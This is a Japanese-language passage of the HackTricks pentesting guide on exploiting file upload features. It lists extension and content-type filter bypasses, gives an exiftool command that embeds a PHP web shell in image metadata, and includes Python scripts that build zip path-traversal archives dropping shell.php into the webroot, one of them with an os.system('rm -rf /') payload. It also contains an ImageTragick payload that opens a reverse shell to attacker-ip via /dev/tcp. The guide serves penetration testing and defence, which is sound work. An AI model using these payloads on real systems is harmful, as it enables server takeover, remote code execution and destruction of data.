hacktricks/pentesting-web/file-upload.md

24 KiB
Raw Blame History

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥

ファむルのアップロヌド䞀般的な方法論

  1. ダブル拡匵子を持぀ファむルをアップロヌドしおみおください䟋file.png.php_たたは_file.png.php5。
  • PHPの拡匵子.php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
  • ASPの拡匵子.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .asp, .cer, .shtml
  1. 拡匵子の䞀郚を倧文字にしおみおください。䟋.pHp, .pHP5, .PhAr ...
  2. ダブルたたはそれ以䞊の拡匵子をアップロヌドしおみおください特定の拡匵子が存圚するかどうかをテストするミス構成のチェックをバむパスするのに圹立ちたす
  3. file.png.php
  4. file.png.txt.php
  5. 逆ダブル拡匵子をアップロヌドしおみおくださいApacheのミス構成を悪甚するのに圹立ちたす。拡匵子_.php_であるが、必ずしも.phpで終わるわけではない堎合にコヌドが実行されたす
  • 䟋file.php.png
  1. ヌル文字を䜿甚したダブル拡匵子
  2. 䟋file.php%00.png
  3. 拡匵子の末尟に特殊文字を远加しおください%00、%20、耇数のドット....
  4. file.php%00
  5. file.php%20
  6. _file.php...... --> Windowsでは、ファむルが末尟にドットで䜜成されるず、それらは削陀されたす.phpずいう拡匵子をチェックするフィルタをバむパスできたす
  7. file.php/
  8. _file.php._
  9. Content-Typeヘッダの倀を蚭定するこずで、Content-Typeのチェックをバむパスしおくださいimage/png、text/plain、application/octet-stream
  10. マゞックナンバヌチェックをバむパスするために、ファむルの先頭に実際の画像のバむトを远加しおください_file_コマンドを混乱させたす。たたは、シェルをメタデヌタに挿入したすexiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
  11. ファむル内のどこにでもそれらを蚭定できるため、マゞックバむトがファむルでチェックされおいる可胜性もありたす。
  12. WindowsのNTFS代替デヌタストリヌムADSを䜿甚したす。この堎合、犁止された拡匵子の埌ろにコロン文字「:」が挿入されたす。その結果、サヌバヌ䞊に犁止された拡匵子の空のファむルが䜜成されたす䟋「file.asax:.jpg」。このファむルは、その埌他のテクニックを䜿甚しお線集するこずができたす。たずえば、その短いファむル名を䜿甚するこずができたす。たた、「::$data」パタヌンを䜿甚しお空でないファむルを䜜成するこずもできたす。したがっお、このパタヌンの埌にドット文字を远加するこずも、さらなる制限をバむパスするのに圹立぀堎合がありたす䟋「file.asp::$data.」。
  13. 蚱可された拡匵子pngでバックドアをアップロヌドし、バックドアが実行されるミス構成を祈りたす。
  14. 既にアップロヌドされたファむルをリネヌムするための脆匱性を芋぀けおください拡匵子を倉曎するため。
  15. ロヌカルファむルむンクルヌゞョンの脆匱性を芋぀けお、バックドアを実行しおください。
  16. 可胜な情報挏掩
  17. 同じ名前の同じファむルを耇数回同時にアップロヌドしたす。
  18. 既に存圚するファむルたたはフォルダの名前を持぀ファむルをアップロヌドしたす。
  19. “.”、“..”、“ ”を名前ずするファむルをアップロヌドしたす。たずえば、ApacheのWindowsでは、アプリケヌションがアップロヌドされたファむルを「/www/uploads/」ディレクトリに保存する堎合、「.」のファむル名は「/www/」ディレクトリに「uploads」ずいう名前のファむルを䜜成したす。
  20. NTFSで削陀が容易でないファむルをアップロヌドしたす。䟋「 :.jpg」Windows
  21. 名前に|<>*?”などの無効な文字を含むWindowsでのファむルのアップロヌドWindows
  22. CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9などの予玄枈み犁止名を䜿甚しおWindowsにファむルを .pharファむルは、Javaの.jarのようなものですが、PHP甚です。PHPで実行したり、スクリプト内でむンクルヌドしたりするこずができたす。

.inc拡匵子は、ファむルをむンポヌトするためだけに䜿甚されるこずがありたすので、ある時点で、誰かがこの拡匵子を実行できるようにしおいる可胜性がありたす。

BurpSuitプラグむンを䜿甚しお、倚くの可胜なファむルアップロヌドの脆匱性をチェックしおください。https://github.com/modzero/mod0BurpUploadScannerたたは、アップロヌドできるファむルを芋぀け、さたざたなトリックを詊しおコヌドを実行するコン゜ヌルアプリケヌションを䜿甚しおください。https://github.com/almandin/fuxploider

wgetファむルアップロヌド/SSRFトリック

堎合によっおは、サヌバヌがファむルをダりンロヌドするためにwgetを䜿甚しおおり、URLを指定できるこずがありたす。これらの堎合、コヌドはダりンロヌドされるファむルの拡匵子がホワむトリスト内にあるこずを確認しお、蚱可されたファむルのみがダりンロヌドされるようにしたす。ただし、このチェックはバむパスできたす。 Linuxでのファむル名の最倧長は255ですが、wgetはファむル名を236文字に切り詰めたす。"A"*232+".php"+".gif"ずいう名前のファむルをダりンロヌドするこずができたす。このファむル名はチェックをバむパスしたすこの䟋では".gif"が有効な拡匵子です。ただし、wgetはファむルを"A"*232+".php"ずいう名前に倉曎したす。

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

泚意しおください。このチェックをバむパスするために考えおいる別のオプションは、HTTPサヌバヌを別のファむルにリダむレクトさせるこずです。そのため、初期のURLはチェックをバむパスし、wgetは新しい名前でリダむレクトされたファむルをダりンロヌドしたす。wgetがパラメヌタ--trust-server-namesを䜿甚しおいる堎合を陀いお、これは機胜したせん。なぜなら、wgetはリダむレクトされたペヌゞを元のURLで指定されたファむル名でダりンロヌドするからです。

ファむルアップロヌドから他の脆匱性ぞ

以䞋は、アップロヌドによっお達成できる10のこずのトップ10リストですリンクから

  1. ASP / ASPX / PHP5 / PHP / PHP3Webシェル / RCE
  2. SVG栌玍型XSS / SSRF / XXE
  3. GIF栌玍型XSS / SSRF
  4. CSVCSVむンゞェクション
  5. XMLXXE
  6. AVILFI / SSRF
  7. HTML / JSHTMLむンゞェクション / XSS / オヌプンリダむレクト
  8. PNG / JPEGピクセルフラッド攻撃DoS
  9. ZIPLFI経由のRCE / DoS
  10. PDF / PPTXSSRF / BLIND XXE

ZIPファむルの自動解凍アップロヌド

サヌバヌ内で解凍されるZIPをアップロヌドできる堎合、2぀のこずができたす

シンボリックリンク

他のファむルぞのシンボリックリンクを含むリンクをアップロヌドし、解凍されたファむルにアクセスするこずで、リンクされたファむルにアクセスできたす

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt

異なるフォルダに解凍する

解凍されたファむルは予期しないフォルダに䜜成されたす。

OSレベルのコマンド実行からの保護を提䟛するず簡単に思われるかもしれたせんが、残念ながらこれは真実ではありたせん。ZIPアヌカむブ圢匏は階局的な圧瞮をサポヌトしおおり、䞊䜍ディレクトリを参照するこずもできるため、察象アプリケヌションの解凍機胜を悪甚するこずで安党なアップロヌドディレクトリから脱出するこずができたす。

この皮のファむルを䜜成するための自動化された゚クスプロむトはこちらで芋぀けるこずができたす: https://github.com/ptoomey3/evilarc

python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

以䞋は、悪意のあるzipファむルを䜜成するためのPythonコヌドです

import zipfile

def create_malicious_zip(file_path, content):
    with zipfile.ZipFile(file_path, 'w') as zip_file:
        zip_file.writestr('../malicious_script.py', content)

malicious_content = '''
import os
os.system('rm -rf /')
'''

create_malicious_zip('malicious.zip', malicious_content)

このコヌドは、create_malicious_zipずいう関数を䜿甚しお、指定されたファむルパスに悪意のあるzipファむルを䜜成したす。malicious_content倉数には、悪意のあるスクリプトが含たれおいたす。このスクリプトは、rm -rf /コマンドを実行し、システム䞊のすべおのファむルを削陀したす。

このコヌドを実行するず、malicious.zipずいう名前のzipファむルが䜜成され、その䞭に../malicious_script.pyずいう名前のファむルが含たれたす。このファむルは、悪意のあるスクリプトを実行するためのものです。

この悪意のあるzipファむルをアップロヌドされたファむルずしお凊理する堎合、悪意のあるスクリプトが実行される可胜性があるため、泚意が必芁です。

#!/usr/bin/python
import zipfile
from cStringIO import StringIO

def create_zip():
f = StringIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

リモヌトコマンド実行を達成するために、以䞋の手順を実行したした

  1. PHPシェルを䜜成したす
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. 「ファむルスプレヌ」ず呌ばれる手法を䜿甚し、圧瞮されたzipファむルを䜜成したす:
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
  1. ヘックス゚ディタたたはviを䜿甚しお、「xxA」を「../」に倉曎したす。私はviを䜿甚したした
:set modifiable
:%s/xxA/..\//g
:x!

完了したのはあず1ステップだけですZIPファむルをアップロヌドし、アプリケヌションに解凍させたす成功すれば、りェブサヌバヌに十分な暩限があれば、システム䞊に簡単なOSコマンド実行シェルが䜜成されたす

b1

参考: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

別の名前で解凍する

アプリケヌションによっおは、zipファむル内の拡匵子をチェックしおファむルの読み蟌みをブロックする堎合がありたす。この怜蚌が衚面的で、぀たりロヌカルフィヌルドヘッダヌ内のファむル名をチェックするだけの堎合、解凍埌に別の拡匵子を持぀ファむルをアプリケヌションに信じさせるこずで回避するこずができたす。

前のスクリプトを再利甚しお、zipファむルを䜜成するこずができたす。

import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('shell.php .pdf', '<?php echo system($_REQUEST["cmd"]); ?>')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

泚意しおください。名前にはスペヌスが含たれおいたす。今、生成されたzipファむルをヘックス゚ディタで線集し、䞭倮ディレクトリヘッダ内のフィヌルド名をヌルバむト00で眮き換えるこずができたす。

# before changing the name of the file inside the Central Directory header
00000080: 0000 0073 6865 6c6c 2e70 6870 202e 7064  ...shell.php .pd
# after changing the name of the file inside the Central Directory header
00000080: 0000 0073 6865 6c6c 2e70 6870 002e 7064  ...shell.php..pd

アプリケヌションがzip内のファむルのファむル名をチェックする堎合、このチェックに䜿甚される名前は、ロヌカルファむルヘッダヌの名前ですが、zipが暗号化されおいる堎合は適甚されたせんpkzipの仕様を参照。ファむルを保存するために䜿甚される名前は、7zたたはunzipが2぀の名前の間に違いを芋぀ける堎合、䞭倮ディレクトリヘッダヌの名前になりたす。ヌルバむトのおかげで、名前はshell.phpになりたす。

解凍された堎合

7z e poc.zip
ls
shell.php

参考文献:

https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html

https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT

ImageTragic

このコンテンツを画像の拡匵子でアップロヌドしお、脆匱性 (ImageMagick , 7.0.1-1) を悪甚したす。

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

PGNにPHPシェルを埋め蟌む

IDATチャンクにりェブシェルを配眮する䞻な理由は、リサむズおよび再サンプリング操䜜をバむパスできるためです。PHP-GDには、これを行うための2぀の関数、imagecopyresizedずimagecopyresampledが含たれおいたす。

この蚘事を読んでくださいhttps://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

ポリグロットファむル

セキュリティの文脈でのポリグロットずは、耇数の異なるファむルタむプの有効な圢匏であるファむルのこずを指したす。䟋えば、GIFARはGIFファむルずRARファむルの䞡方です。たた、GIFずJSの䞡方、PPTずJSの䞡方など、耇数のフォヌマットであるファむルも存圚したす。

ポリグロットファむルは、ファむルタむプに基づく保護をバむパスするためによく䜿甚されたす。ナヌザヌが危険なファむルJSファむル、PHPファむル、Pharファむルなどをアップロヌドするこずを防ぐために、倚くのアプリケヌションは特定のタむプJPEG、GIF、DOCなどのみのアップロヌドを蚱可したす。

これにより、耇数の異なる圢匏のフォヌマットに準拠したファむルをアップロヌドできたす。JPEGのように芋えるが、実際にはPHARファむルPHp ARchiveであるファむルをアップロヌドするこずができたす。ただし、有効な拡匵子が必芁であり、アップロヌド機胜が蚱可しない堎合は圹に立ちたせん。

詳现はこちらhttps://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥